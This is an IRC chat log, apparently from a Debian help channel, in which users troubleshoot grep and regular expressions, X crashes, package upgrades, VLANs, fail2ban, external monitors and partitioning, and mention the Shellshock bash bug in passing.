| 14:39.57 | jimgnosis | fail2ban-client needs the -i (interactive) switch |
| 14:40.19 | nabblet | jelly-home: should i paste it, what should i look out for? I have lots olf lines with (==) (**) (WW) and so on. let me grep for (EE) |
| 14:40.29 | nabblet | *of lines |
| 14:41.22 | Koala_Kid | thing fish yes wheezy |
| 14:41.36 | jelly-home | nabblet: if it's your first time looking at it you won't know what's usual and what's not. The end might show if X crashed unexpectedly or not |
| 14:41.50 | jelly-home | nabblet: sure, pastebin the whole thing |
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| 14:42.09 | thingfish | Koala_Kid: your best bet is to install them from non-free. |
| 14:42.18 | nabblet | jelly-home: http://paste.debian.net/123469/ |
| 14:42.31 | Koala_Kid | non-free repositories ? |
| 14:42.43 | nabblet | after the (EE) line there is a backtrace so I think you have the right idea jelly-home |
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| 14:43.04 | jelly-home | !tell Koala_Kid about non-free sources |
| 14:43.05 | thingfish | Koala_Kid: you must add that repo to your sources.list file |
| 14:43.09 | jelly-home | !tell Koala_Kid about nvidia dkms |
| 14:43.11 | thingfish | thanks jelly |
| 14:43.18 | thingfish | -home |
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| 14:44.23 | anisfarhana | acemi / jelly-home : It works now! Appreciated your help. Thanks! |
| 14:44.35 | anisfarhana | I should upgrade to wheezy soon. |
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| 14:45.54 | jelly-home | nabblet: it's a rather old card, crashes happen sometimes |
| 14:46.40 | acemi | anisfarhana: np |
| 14:46.46 | jelly-home | nabblet: (line 145) [ 31.622] (--) intel(0): Chipset: "945GME" |
| 14:46.59 | jelly-home | er, line 154 |
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| 14:51.14 | nabblet | jelly-home: ok, it never happened to me before, but fine. Am i right that the (EE) line triggered it, or is that line just a symptom? |
| 14:51.30 | nabblet | jelly-home: btw, this is a laptop, about 5 years old |
| 14:51.36 | nabblet | lenovo ideapad s12 |
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| 14:54.18 | nabblet | jelly-home: why did you suspect the X server? because it fell back to login? |
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| 14:58.29 | jimgnosis | nabblet: X definitely crashed which is why you were brought to login. Its like restarting X. Can you try disabling the swapbufferwait setting in xorg.conf |
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| 14:59.23 | iveevue | Will Debian ever move to wayland? |
| 14:59.40 | jelly-home | nabblet: that's just a log of what happened, not why it happened |
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| 15:00.16 | jelly-home | iveevue: will any major distro? The answer is likely to be something along "yes, when it's ready" |
| 15:00.25 | iveevue | Ok |
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| 15:01.19 | BuFF | hi |
| 15:01.19 | mashaa | welcoem al |
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| 15:02.05 | BuFF | how coul i to view exact date when the package was uptaded last time? |
| 15:02.27 | jelly-home | BuFF: dpkg, apt and aptitude keep logs usr /var/log |
| 15:02.44 | jelly-home | under* /var/log |
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| 15:24.21 | bastidrazor | o7 |
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| 15:30.52 | nabblet | jelly-home: ok, for the why i probably need some debug-logging enabled? |
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| 15:31.57 | tvcellphone | how do i print a file until a first pattern is found with egrep or sed? |
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| 15:33.20 | arcke | tvcellphone: why not in bash? |
| 15:33.50 | tvcellphone | i do not have a problem using anything, just need the solution |
| 15:34.13 | imaami | tvcellphone: write a shellscript |
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| 15:35.14 | tvcellphone | i was trying to use "cat log10.log | egrep -Av 10000 ">SHOW SYSLOG OA" > test" but it finds the LAST PATTERN and i want to find the FIRST PATTERN |
| 15:35.37 | tvcellphone | obviously if my logfile is longer than 10000 it won't work but im a noob |
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| 15:35.56 | crecca | tvcellphone: cat file | grep -A 1000 "match" |
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| 15:37.15 | mitchreward | while read $file; do grep <pattern>; exit 0; done <<< path-to-file |
| 15:37.18 | mitchreward | or last if ... |
| 15:37.23 | crecca | tvcellphone: hmm.. why `v' option? |
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| 15:37.40 | tvcellphone | oh sorry because i was testing to see if AV would invert it correctly |
| 15:37.44 | tvcellphone | i was using -B not -A |
| 15:37.51 | crecca | tvcellphone: ahh... yes, use B |
| 15:37.56 | mitchreward | tvcellphone, why dont using while and a lastif |
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| 15:38.05 | crecca | tvcellphone: if you want to print up to the first match |
| 15:38.44 | tvcellphone | im basically trying to cut out a big amount of logs from the middle of a file which i use "show all" against this product to grab the config from |
| 15:38.53 | crecca | tvcellphone: it doesn't work? It works for me, prints a file until first match is found |
| 15:39.07 | tvcellphone | it prints the file intil the last match is found for me |
| 15:39.10 | tvcellphone | until |
| 15:39.47 | crecca | tvcellphone: ah you're right |
| 15:39.51 | acemi | egrep -m 1 B big_num ... |
| 15:40.13 | tvcellphone | the problem is during my "show all" command it randomly says >SHOW SYSLOG OA 2 and then >SHOW SYSLOG OA 1, or >SHOW SYSLOG OA 1 and then >SHOW SYSLOG OA 2 |
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| 15:40.36 | tvcellphone | so i am using the pattern SHOW SYSLOG OA to match but i cant' seem to make it just find the FIRST pattern |
| 15:40.38 | alien64 | anyone find a fix for the bash bug ? |
| 15:40.55 | tvcellphone | alien64: don't use CGI and turn off SSH |
| 15:41.08 | alien64 | lol ok |
| 15:41.11 | tvcellphone | haha |
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| 15:41.37 | crecca | tvcellphone: acemi solution works |
| 15:42.19 | crecca | interesting behaviour |
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| 15:43.22 | tvcellphone | hmm i don't understand the syntax |
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| 15:43.55 | acemi | tvcellphone: "-m 1" means "stop after first match" |
| 15:44.03 | tvcellphone | ah ty |
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| 15:44.26 | tvcellphone | thats it thanks so much! |
| 15:44.32 | acemi | np |
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| 15:45.21 | afx237 | Does anyone know why "squeeze-lts" is a different repo to "squeeze"? nobody with the default apt sources running squeeze is getting the shellshock fixes. |
| 15:45.53 | tvcellphone | there is probably an easier way to do this and just convert the entire file into an xml file or something |
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| 15:46.27 | NiLon | afx237 maybe it's time to upgrade into wheezy? |
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| 15:47.19 | afx237 | NiLon: yeah i am. just wondering what the reason would be for making a separate repo. |
| 15:47.20 | jimgnosis | tvcellphone: head file -n `grep -n pattern file | awk -F: '{print $1}'` |
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| 15:49.04 | jimgnosis | tvcellphone: add -m 1 to stop at the first pattern |
| 15:49.20 | user____ | clear |
| 15:49.26 | tvcellphone | ty jim |
| 15:51.35 | NiLon | afx237 squeeze is EOL so I guess lts is going to stick around while normal repo will get deleted |
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| 15:52.36 | NiLon | don't quote me on that tho |
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| 15:56.38 | jhutchins | NiLon: No, the old repo won't get deleted but moved to archives. |
| 15:58.05 | alien64 | bash bug fix >>>> http://pastebin.com/fNzAqZ5J |
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| 16:10.34 | qwk1 | I dont know if im the the right place, but willing to buy for 15 usd in bitcoin if you want to. If someone could help me setup postfix + dovecot + roundcube + calmac + spamassasin |
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| 16:13.38 | jimgnosis | qwk1: use cyrus-sasl, cyrus imap and amavis |
| 16:14.27 | Blokker | qwk1, this should get you started: https://workaround.org/ispmail/wheezy |
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| 16:14.57 | Blokker | altough i'm no longer a fan of roundcube. It's performance in the browser is sluggisch at best |
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| 16:15.44 | jimgnosis | horde is über nice |
| 16:16.01 | jhutchins | I like squirrelmail. |
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| 16:16.14 | Blokker | i'm trying out rainloop at the moment for webmail, but someone also recommended me mailpile |
| 16:17.49 | teraflops | imp <3 |
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| 16:21.08 | Squil | hopefully someone can assist with this one. I am using liquidsoap SVN, compiled in /usr/src and i've downloaded and enabled all the plugins in their various ocaml-dev formats, but ladspa is not being recognised by liquidsoap, i have searched around and it's still baffling me, hopefully someone in here can see |
| 16:21.53 | Squil | The error i get when i query any of the ladspa plugins using liquidsoap -h ladspa.gate for example is "Plugin Not Found!" |
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| 16:32.35 | garyserj | why does this not work? http://pastebin.com/raw.php?i=rqMGiadQ the uid bit is set, and the owner of the file has rwx permissions, so why doesn't the currently logged in user(barny) have the ability to write to the file? |
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| 16:34.22 | qwk1 | jimgnosis: Blokker I have been googling for like days and all tutorials is diffrent and almost autoted |
| 16:34.41 | qwk1 | but inst postfix and dovecot good? |
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| 16:35.46 | qwk1 | I were thinking abour squirrelmail but roundcube have a cleaner look, and will implent PGP in the future |
| 16:36.17 | Blokker | qwk1, i've been using that howto for some years now, never let me down before. It's one of the more popular ones on the internet |
| 16:36.20 | jimgnosis | imap is easier to manage |
| 16:36.53 | qwk1 | yea but large sites seem to use postfix |
| 16:37.14 | nabblet | jelly-home: thank you for your explainations & help |
| 16:37.22 | Blokker | squirrelmail is outdated, roundcube is popular, but the user experience is bad imho. I am now testing rainloop, but if PGP is what you are looking for, give mailpile a spin since that does support pgp ans is built around privacy |
| 16:37.51 | Blokker | and that howto is a howto for postfix+dovecot |
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| 16:38.34 | jimgnosis | right. postix+cyrus imap with amavisd, DKIM, SpamAssain, Razor, Pyzor is basically a barricuda email server. nothing beats it. |
| 16:39.15 | jimgnosis | ive always liked this resource http://wiki.gentoo.org/wiki/Complete_Virtual_Mail_Server |
| 16:39.42 | jimgnosis | if you can stomache a bit of gentoo :-) |
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| 16:40.22 | Blokker | :) that's the benefit of "my" guide, written from a debian perspective |
| 16:41.07 | Blokker | personally i don't care what MTA/MDA/MUA is used, as long as i can access my mails |
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| 16:41.33 | dondelelcaro | we've had pretty good luck with roundcube with a lot of users, but YMMV. |
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| 16:41.49 | qjqqyy | ,v procps |
| 16:41.50 | judd | Package: procps on i386 -- squeeze: 1:3.2.8-9squeeze1; wheezy: 1:3.3.3-3; jessie: 1:3.3.9-7; sid: 2:3.3.9-8 |
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| 16:49.20 | Roenie | grub is in the MBR of /dev/sda, which has 2 partitions: sda1 = win7, sda2 = wheezy. Win7 apparently is a storage hog, sda being a small SSD I need to shrink the sda2 wheezy partiton and expand the ntfs partition (sda1) |
| 16:49.50 | Roenie | the only sane way I can see this happening is booting a live cd |
| 16:50.19 | Roenie | deleting both partitions, and recreating them, then restoring the data |
| 16:50.48 | Roenie | will grub still be able to boot wheezy after that? |
| 16:51.04 | Roenie | (and win7) |
| 16:51.53 | Roenie | as long as the MBR isn't overwritten, does it matter where the sda2 wheezy partition begins? |
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| 16:53.44 | Roenie | I mean, does grub part 1 need to find part 2 in a specific physical location? |
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| 16:58.03 | Blokker | Roenie, worst case you will have to boot into rescue mode from some external media, chroot into your partition and reinstall grub in the MBR |
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| 16:58.51 | arnoldB | &window 1 |
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| 16:59.39 | Roenie | Blokker, I went ahead and did a dd if=/dev/sda of=/mnt/backup/mbr bs=512 count=1 |
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| 17:00.46 | Roenie | not sure if that file can be used after the sizes change |
| 17:00.56 | Roenie | probably not |
| 17:01.21 | Roenie | hence I also went: dd if=/dev/sda of=/mnt/backup/mbr bs=446 count=1 |
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| 17:01.38 | Roenie | which should grab the mbr but without the partition table |
| 17:01.49 | Blokker | i'm not gonna tell you either way since i'm not experienced with that matter, i would just reinstall grub myself if it doesn't boot anymore |
| 17:02.31 | Roenie | ok |
| 17:03.04 | Roenie | my guess is that grub will remain in the mbr because I am only going to change the partitions, which is the last part of the mbr (447-512) |
| 17:03.21 | Roenie | and if grub points to partition 2 for wheezy |
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| 17:03.33 | Roenie | then regardless of where that partition begins, it should still work |
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| 17:04.19 | teraflops | regarding smime and pgp i think imp is the best |
| 17:04.35 | Roenie | i don't even remember the last time I had to install grub by hand |
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| 17:17.02 | qwk1 | jimgnosis: http://wiki.gentoo.org/wiki/Complete_Virtual_Mail_Server seems to be down |
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| 17:22.58 | fcp14 | hello, after apt-get update & apt-get upgrade appears "The following packages have been kept back: |
| 17:22.59 | fcp14 | <PROTECTED> |
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| 17:23.12 | crecca | sudo apt-get dist-upgrade |
| 17:23.26 | crecca | i.e. it will install it |
| 17:23.45 | fcp14 | nop the same :) |
| 17:23.59 | fcp14 | appears that msg |
| 17:24.24 | fcp14 | i thnk i can apt-get install package |
| 17:24.27 | fcp14 | gona try |
| 17:25.13 | crecca | fcp14: you probably can't... well, sorry it worked for me when I had held-back packages. Someone more experienced should help here |
| 17:26.12 | teraflops | well why dont you look at new unmet dependencies and just apt-get install package new-dep-package? |
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| 17:27.42 | fcp14 | http://paste.debian.net/123498/ |
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| 17:27.50 | fcp14 | check the paste.debian.net |
| 17:27.55 | fcp14 | please |
| 17:28.09 | fcp14 | i think that isn't the way |
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| 17:29.24 | heurist | fcp14: what exactly are you trying to do? |
| 17:29.48 | jimgnosis | qwk1: planned maintenance http://infra-status.gentoo.org |
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| 17:30.22 | teraflops | fcp14: does not seemt to be stable also do you want to remove systemd? |
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| 17:31.41 | fcp14 | no what i'm todo is let the message be |
| 17:32.05 | fcp14 | i the last upgrade appears that message |
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| 17:33.20 | fcp14 | http://paste.debian.net/123499/ |
| 17:33.26 | __raven | hi |
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| 17:34.45 | __raven | sshfs automount via fstab works with mount -a but not on boot - any idea? command is sshfs#user@1.2.3.4:SRC /DEST fuse comment=sshfs,users,exec,uid=1000,gid=1000,allow_other,reconnect,transform_symlinks,BatchMode=yes 0 0 |
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| 17:37.14 | heurist | fcp14: I ask again. and for the last time. What are you trying to do? do you want to install systemd-shim? do you know that it is? do you want systemd? do you want to remove systemd? |
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| 17:37.53 | movrax | fcp14, package is being kept back when the dependencies are changed and it requires to install new packages and this is quite common on testing/unstable |
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| 17:38.46 | movrax | fcp14, you can either use explicitly use "apt-get install <package_name_that_has_been_kept_back>" to forcefully upgrade it (and pull new [or remove old] dependencies) |
| 17:39.04 | movrax | fcp14, or you can use aptitude which will resolve all the dependency problem for you |
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| 17:39.22 | fcp14 | ok i try that but if i use install package they delete some packages and i afraid of that |
| 17:39.43 | tvcellphone | how do you search for a tab in regex? |
| 17:39.48 | fcp14 | but i gona try with aptitude |
| 17:39.50 | fcp14 | thanks a lot |
| 17:39.52 | movrax | that why those releases are called testing/unstable, things are changing constantly |
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| 17:41.09 | Blokker | i once f*cked a system that way. That did teach me about upgrading without checking what gets removed :p |
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| 17:42.57 | heurist | tvcellphone: depends on the regex engine, but \t may do it. however \t may also find spaces, not sure if that is bad for your use-case. |
| 17:43.18 | tvcellphone | i think i gotta use ^[[:tab:]]+" |
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| 17:44.22 | tvcellphone | egrep "Fan #|Product Name|^\tPart Number|Version" file |
| 17:44.28 | tvcellphone | doesn't work |
| 17:44.30 | jimgnosis | in a PCRE \t will not match \s |
| 17:44.36 | tvcellphone | hmm |
| 17:45.22 | tvcellphone | i know im doing it wrong |
| 17:45.30 | tvcellphone | and don't know the expression |
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| 17:45.52 | jimgnosis | what does the original line look like tvcellphone . |
| 17:46.02 | heurist | tvcellphone: you need to start with an expression that works and then make it more specific till it stops. |
| 17:46.11 | tvcellphone | it is a tab and then teh pattern |
| 17:46.23 | tvcellphone | there is (tab)spare part number and (tab)part number |
| 17:46.31 | jimgnosis | each line starts with a tab? |
| 17:46.33 | tvcellphone | so i want to search for (tab)part |
| 17:46.42 | tvcellphone | so that i do not get (tab)spare part |
| 17:46.49 | tvcellphone | since i can't search for part as it is common |
| 17:47.00 | tvcellphone | if i search for part then i get both lines |
| 17:47.03 | heurist | !enter |
| 17:47.04 | dpkg | The enter key is not a substitute for punctuation. Hitting enter unnecessarily makes it difficult to follow what you are saying. Consider using ',', '. ', ';', '...', '---', or ':' instead. If you hit enter too often, you will be autokicked by debhelper for flooding the channel. |
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| 17:47.59 | jimgnosis | so you want to find "fan belt" or "fan tab 123" |
| 17:48.08 | tvcellphone | my problem is i just don't know how to describe the tab character in egrep |
| 17:48.13 | heurist | tvcellphone: and just \tPart gives what? |
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| 17:48.21 | tvcellphone | nothing |
| 17:48.37 | jimgnosis | what about escaping the escape |
| 17:48.45 | jimgnosis | \\t |
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| 17:49.09 | tvcellphone | no not successful |
| 17:49.26 | tvcellphone | how would it be done in grep |
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| 17:50.13 | Eleganza | Di |
| 17:50.15 | Eleganza | HI |
| 17:50.21 | tvcellphone | grep "\\tPart Number" file returns nothing as well |
| 17:50.24 | heurist | tvcellphone: note that egrep is not pcre, try grep -P |
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| 17:50.38 | Eleganza | I have loaded the correct module for my network interface |
| 17:50.50 | Eleganza | but it doesn't show up in ifconfig |
| 17:51.17 | heurist | Eleganza: ifconfig -a ? |
| 17:51.22 | jimgnosis | Eleganza: type ifup eth0 |
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| 17:52.19 | Eleganza | ifconfig -a shows eth0 |
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| 17:52.31 | Eleganza | however ifup says unknown interface |
| 17:52.42 | heurist | Eleganza: man interfaces |
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| 17:53.11 | crecca | Eleganza: ethtool eth0 |
| 17:53.18 | Blokker | god, got someone in another channel on another network who is arguing about version numbering saying that 3.10 == 3.1 |
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| 17:53.51 | heurist | Blokker: sure, if you are decimal. |
| 17:53.53 | r3n1c0n | It is lol |
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| 17:54.30 | r3n1c0n | Ye for decimal :) |
| 17:54.32 | Eleganza | then what to do? |
| 17:54.44 | heurist | Blokker: just refer them to http://semver.org/ |
| 17:54.53 | crecca | Eleganza: does ethool eth0 show any errors? |
| 17:55.01 | crecca | is it a wireless interface? |
| 17:55.06 | Eleganza | no errors |
| 17:55.17 | Eleganza | but says link detected no |
| 17:55.37 | Blokker | well heurist, he said that if you want to use a 3.10 you should start with 3.01 to show you want to go with 2 numbers behind the . |
| 17:56.09 | jimgnosis | try dhclient eth0 Eleganza |
| 17:56.29 | heurist | Blokker: I have to agree with that, it makes sorting easier, but then you need to think about if you might go to 3.100 and start with 3.001.... but this is off-topic |
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| 17:57.18 | Blokker | my point exactly, thanks for the link :) |
| 17:57.20 | crecca | Eleganza: you can check the logs for errors (/var/log/kern.log), grep for eth0 or the name of your module |
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| 17:57.40 | Eleganza | the module is correct |
| 17:57.44 | crecca | Eleganza: something like `sudo cat /var/log/kern.log | grep eth0' |
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| 17:58.08 | crecca | Eleganza: it might be correct, but it still could not load properly, due to hardware error or smth |
| 17:58.16 | Eleganza | after dhclient eth0? |
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| 17:58.59 | Eleganza | it says link not ready |
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| 17:59.42 | jimgnosis | type dmesg and look at the last 10 or so lines |
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| 18:04.56 | topi` | any USB modem stick experts here? |
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| 18:05.33 | topi` | I'm trying to get two huawei sticks working on my debian system, but I guess it's impossible to make them both work at the same time? (since they both use a peer address of 10.64.64.64) |
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| 18:08.44 | Blokker | topi`, isn't that a remote address? I beleive the devices themselves show up as a ttyUSB device |
| 18:09.10 | Blokker | at least that is how my stick works. I control it with a script i found on the internet called sakis3G |
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| 18:14.21 | topi` | Blokker: I get the stick to show up as ttyUSBx, as well as a wwan0 interface, but I cannot get the wwan0 to respond to anything |
| 18:14.44 | topi` | I'm just assuming the wwan0 is dysfunctional (and by googling it seems that it should really be a usb0, not wwan0) |
| 18:15.05 | topi` | I wonder if there's a issue in the kernel module cdc_ether or something |
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| 18:18.56 | mrrhq | Hello, my laptop with Debian Sid is no longer booting up. I'm wondering what I can do. It says target system doesn't have /sbin/init |
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| 18:19.33 | topi` | mrrhq: maybe your ext4 root fs is so corrupted that it cannot be mounted |
| 18:19.57 | topi` | you need an emergency ramdisk, and from there you can do a fsck.ext4 on that root fs of yours |
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| 18:21.35 | mrrhq | It put me in an initramfs prompt. I don't know which device to use since /dev/sda won't work. |
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| 18:23.07 | ZIPY | hey, does someone know how to fix the search function of nautilus? its not doing anything |
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| 18:29.53 | mrrhq | Ok, I ran fsck.ext4 on all the partitions, except sda1 which is boot, and it says it's clean. |
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| 18:40.13 | xreal | Is this something like Debian 7.5? I think, there was Debian "and half" some years ago. |
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| 18:42.43 | abrotman_ | xreal: what? |
| 18:43.04 | xreal | abrotman: there was "Debian and half" some years ago. I think, it was v4.5 between v4 and v5. |
| 18:43.17 | abrotman | not quite |
| 18:43.21 | abrotman | !etchnhalf |
| 18:43.21 | dpkg | Etch-And-A-Half -- additional packages in the Debian <4.0r4> point release providing additional support for more hardware. It included a 2.6.24 kernel along with an updated installer. As security support for Etch has ended, the Etch-And-A-Half release is no longer supported; ask me about <etch->lenny> to upgrade. http://wiki.debian.org/EtchAndAHalf http://www.debian.org/releases/etch/etchnhalf |
| 18:43.27 | xreal | https://www.debian.org/releases/etch/etchnhalf.en.html |
| 18:43.42 | xreal | abrotman: yes. Is there also something like "Wheezy and half" ? |
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| 18:44.18 | ZIPY | 7.4 |
| 18:45.10 | ZIPY | Version 7.6 (wheezy) (64-Bit) |
| 18:45.13 | ZIPY | thats mine |
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| 18:46.12 | xreal | I think, I'll try 8.0 beta |
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| 18:49.04 | rudi_s | xreal: No. |
| 18:49.15 | rudi_s | *there's nothing like "Wheezy and half". |
| 18:49.23 | rudi_s | But you can use a current kernel from backports if you like. |
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| 18:50.03 | tvcellphone | so i am trying to use egrep to parse my file but i do not seem to be able to match special characters in my commands http://pastebin.com/WHXVxG73 egrep "Fan #|\tProduct Name|\tPart Number|\tSpare Part Number|\tVersion" FILENAME |
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| 18:50.43 | tvcellphone | ive been told i should use perl |
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| 18:51.10 | rudi_s | tvcellphone: That's always a good advice when working with regex. But what exactly do you want to match? |
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| 18:52.19 | tvcellphone | trying to match tabs |
| 18:52.28 | tvcellphone | character escape |
| 18:52.29 | tvcellphone | \t |
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| 18:53.09 | rudi_s | tvcellphone: And what should the | do? |
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| 18:53.38 | tvcellphone | well | is and operator to pass more than one pattern into the egrep |
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| 18:53.43 | rudi_s | Also check the man page under exted regular expressions. |
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| 18:53.47 | tvcellphone | is the AND operator |
| 18:54.05 | rudi_s | *extended |
| 18:54.12 | tvcellphone | ah thats the ticket |
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| 18:54.25 | xhoch3 | hello o/ |
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| 18:55.14 | xhoch3 | I have made a final release of my application and now it's ready to roll out. Probably, I can figure out how make a deb package myself, but what comes next? |
| 18:55.44 | rudi_s | tvcellphone: Interesting, looks like egrep doesn't support \t. |
| 18:55.50 | xhoch3 | I am a bit confused about the mass of information regarding getting my package shipped :( |
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| 18:56.11 | abrotman | xreal: we have backports now |
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| 18:56.30 | abrotman | xhoch3: do you want to be the maintainer, or have someone do it for you? |
| 18:56.31 | xreal | abrotman: I know. I am backporting a lot on my own. |
| 18:57.09 | xhoch3 | abrotman, I don't need to be the maintainer of the package, but if noone wants to do it, I fear I must do it myself :P |
| 18:57.19 | topi` | what debian pkg am I missing, if running cmake results in "ERROR the following variables are used in this project, but they are set to NOTFOUND: json" |
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| 18:57.41 | topi` | I know there's libjansson, but is there some lib called "json" as well? |
| 18:58.01 | xhoch3 | I am talking about this application: https://github.com/cybercatalyst/mx2482 |
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| 18:58.14 | abrotman | xhoch3: you can file an RFP, or saunter over to #debian-mentors on irc.oftc.net and see if they can help you get it packaged, and find a sponsor |
| 18:58.19 | abrotman | dpkg: tell xhoch3 about rfp |
| 18:58.24 | abrotman | dpkg: tell xhoch3 about mentors |
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| 18:59.46 | tvcellphone | egrep "Fan #|Product Name|[[:blank:]]{2,5}Part Number|Version" doesn't work either |
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| 19:00.29 | crecca | tvcellphone: instead of `\t', use `<Ctrl+V><TAB>' in that place |
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| 19:00.56 | xhoch3 | abrotman, thanks, I will have a try over there |
| 19:01.04 | crecca | tvcellphone: that's the solution I have found on stackexchange |
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| 19:02.02 | tvcellphone | nice |
| 19:02.05 | tvcellphone | that works crecca |
| 19:02.05 | tvcellphone | thx |
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| 19:02.55 | crecca | tvcellphone: np |
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| 19:08.32 | topi` | I guess there's some kernel module missing, since my Huawei does not get any /dev/cdc-wdm0 entry as indicated by googling |
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| 19:16.47 | d3lphi | hey all. I want to have my NIC only in VLAN100, so I installed "vlan" package, added vlan100 to eth0 and everything works fine. I modified my /etc/network/interface and added a eth0.100 section. But this eth0.100 device needs the eth0 device, so I cannot just remove eth0. |
| 19:16.51 | d3lphi | But I dont't want to have eth0 an IP assigned, I don't need an IP on eth0. I only need my static IP in eth0.100. How can I do that? |
| 19:17.08 | jelly-home | d3lphi: yes, you can just remove eth0. |
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| 19:20.46 | MikeWorth | Hi, I've managed to smash the screen on a laptop running debian w/ xfce. I have an external monitor but can't see my way to the settings window to enable it; is there a command I can run over ssh to enable the external monitor? |
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| 19:22.09 | d3lphi | jelly-home: but when I remove eth0 or don't assign an IPto it, eth0.100 doesn't work anymore |
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| 19:23.23 | heurist | MikeWorth: DISPLAY=:0 xrandr says what? |
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| 19:25.07 | MikeWorth | $ DISPLAY =:0 xrandr |
| 19:25.07 | MikeWorth | -bash: DISPLAY: command not found |
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| 19:25.16 | roelj | I have a file that got overwritten by a 0 bytes file on an ext4 filesystem. Can I recover the previous contents somehow? |
| 19:25.36 | heurist | MikeWorth: copy paste the exact command. |
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| 19:26.09 | MikeWorth | $ DISPLAY=:0 xrandr |
| 19:26.09 | MikeWorth | Screen 0: minimum 320 x 200, current 1024 x 600, maximum 4096 x 4096 |
| 19:26.09 | MikeWorth | LVDS1 connected 1024x600+0+0 (normal left inverted right x axis y axis) 223mm x 125mm |
| 19:26.09 | MikeWorth | <PROTECTED> |
| 19:26.09 | MikeWorth | <PROTECTED> |
| 19:26.10 | MikeWorth | <PROTECTED> |
| 19:26.10 | MikeWorth | VGA1 disconnected (normal left inverted right x axis y axis) |
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| 19:28.10 | jelly-home | d3lphi: how does it fail? |
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| 19:28.42 | d3lphi | jelly-home: constantly ping to the IP of eth0.100 is stopping. It only works when eth0 is up and has a valid IP assigned |
| 19:28.51 | MikeWorth | http://paste.debian.net/123514/ |
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| 19:30.18 | heurist | MikeWorth: DISPLAY=:0 xrandr --output VGA1 --auto |
| 19:30.51 | rudi_s | MikeWorth: And maybe: xrandr --output LVDS1 --off to disable the broken monitor. |
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| 19:31.32 | MikeWorth | excellent- that's done it. Thanks a lot |
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| 19:31.40 | jelly-home | d3lphi: I haven't seen that happen. what if you just bring the link up in advance but not configure any ip? http://paste.debian.net/123516/ |
| 19:31.44 | mrrhq | So I had problems bootin gup because /sbin/init was not found or something. Apparently Kernel 3.16-1 will work fine, but 3.16-2 will not boot up my system and just leave me in initrd, while the former booted up systemd properly. Odd. |
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| 19:36.41 | Roland- | hello I am having some issues with fail2ban. I have ssh enableed to ban an ip for 1 week, and I cannot remove it. If I restart fail2ban it will readd the iptables line. fail2ban-client set ssh unbanip 192.168.1.10 is not working ... any ideas? I can manually remove it from iptables but fail2ban is insisting |
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| 19:38.49 | d3lphi | jelly-home: nope. Doesn't work |
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| 19:39.36 | d3lphi | jelly-home: I also tried http://paste.debian.net/123517/ without luck |
| 19:40.03 | d3lphi | how the hell do I assign VLAN100 to my eth0, without having any other IP working on vlan1 ? I just want to have this host as VLAN100 |
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| 19:41.08 | ori | can anyone point me to a good tutorial (or even a well-packaged example i could follow) for packaging a PHP app that is normally distributed via composer? |
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| 19:42.06 | d3lphi | jelly-home: that configuration is the only one that works, so I can ping the VLAN100 ip address ==> http://paste.debian.net/123518/ |
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| 19:46.37 | jelly-home | d3lphi: no idea what's going on there. unrelated, is there a reason for "allow-hotplug eth0" instead of "auto eth0"? |
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| 19:47.27 | d3lphi | jelly-home: I used allow-hotplug, because it's a VM and I can attach or detach a NIC on-the-fly. That's all. But realting to my problem, I just did some tests and realized... |
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| 19:48.49 | d3lphi | ... that my working config (see above paste) only (!) works, when eth0 has an IP assigned, which is "inside" my production LAN. That means: e.g. my prod LAN is 192.168.0.0/24. When I use the static IP 192.168.0.123/24 as eth0 ==> it works. when I use static IP 192.168.44.44/24 in eth0 ==> it doesn't work! what the hell? |
| 19:49.22 | jelly-home | d3lphi: if it's a VM, you might as well give it a couple different interfaces instead of a vlan trunk |
| 19:50.22 | Roland- | ok it seems like I need a newer version of fail2ban |
| 19:50.25 | d3lphi | jelly-home: that would be possible, yes... but I don't have different interfaces attached to dom0, which physically are attached to that VLAN (that means they are not configured as static switchports, but as 802.11q trunk) |
| 19:50.27 | Roland- | is it posible to install one? |
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| 19:51.45 | d3lphi | jelly-home: my dom0 host has one NIC, which is attached to my network. And that link is configured as trunkport. |
| 19:51.50 | jelly-home | d3lphi: sounds like a vm solution (xen) specific issue |
| 19:52.01 | d3lphi | yes, I have Xenserver 6.2, right |
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| 20:16.07 | topi` | "processing triggers for man-db" is slowing down my apt-get dist-upgrade.. is it possible to get rid of man-db altogether? |
| 20:16.25 | topi` | the man pages can be googled in any case. |
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| 20:17.39 | Eduard_Munteanu | I wonder why dpkg/apt aren't batching these operations and doing them in one go. |
| 20:18.20 | Eduard_Munteanu | Might be related to why apt is / used to be slowed down by poor fsync performance, doing it too often. |
| 20:18.34 | Blokker | because that's not how it was designed |
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| 20:20.21 | monod | hello, in KDE I tried to install a widget, "minimalist clock", but when I go and place it on the desktop, an error message says a module is not installed. The module is org.kde.plasma.extras. How do I install it? (and I tried googling it) |
| 20:20.23 | Blokker | i also do not beleive that batching them and doing them in one go is gonna give a huge advantage on modern systems |
| 20:20.52 | Eduard_Munteanu | I'm thinking the whole idea of post-install scripts is quite bad, at least as currently implemented. |
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| 20:21.19 | topi` | there are too many scripts in debian overall :) maybe some tool development would be the answer |
| 20:21.39 | Eduard_Munteanu | Blokker, eatmydata often speeds up upgrades a lot |
| 20:21.56 | topi` | and, replacing a bash script with a python script might bring a nice speedup in most cases but most simple scripts |
| 20:22.02 | Blokker | somehow that sounds like a virus :p |
| 20:22.02 | Eduard_Munteanu | At least on VMs and filesystems like btrfs. |
| 20:22.18 | Eduard_Munteanu | Blokker, it's a LD_PRELOAD wrapper that disables fsync |
| 20:22.19 | topi` | yeah I'm dist-upgrading inside virtualbox, and it's sloooow |
| 20:22.40 | Eduard_Munteanu | topi`, wheezy? It's very slow, yeah, but jessie got better. |
| 20:22.50 | topi` | I went wheezy -> sid |
| 20:22.57 | Eduard_Munteanu | topi`, apt-get install eatmydata; eatmydata apt-get dist-upgrade |
| 20:23.18 | topi` | bah, modprobe qmi_wwan still doesn't work |
| 20:23.21 | Eduard_Munteanu | Of course, you lose some safety. |
| 20:23.33 | topi` | maybe I can get that as a DKMS |
| 20:23.37 | Eduard_Munteanu | But blame it on dpkg's semantics. :) |
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| 20:23.59 | Blokker | i hardly notice it, but then again i'm moving over to SSDs which are faster anyway and i install off a local mirror so no slow download either |
| 20:24.37 | Eduard_Munteanu | Ideally one should be able to install packages simply by unpacking an archive. No scripts or anything that result in complications when cross-installing or such. |
| 20:24.37 | topi` | my Macbook has a SSD, but, as already pointed out, Virtualbox makes this dog slow |
| 20:25.00 | topi` | I guess it ultimately boils down on how syscalls are emulated with x86 virtual extensions |
| 20:25.01 | abrotman | suspects a problem with the vbox setup |
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| 20:25.10 | Blokker | Eduard_Munteanu, but the scripts are there for a reason |
| 20:25.24 | Blokker | some packages could work that way, but certainly not all |
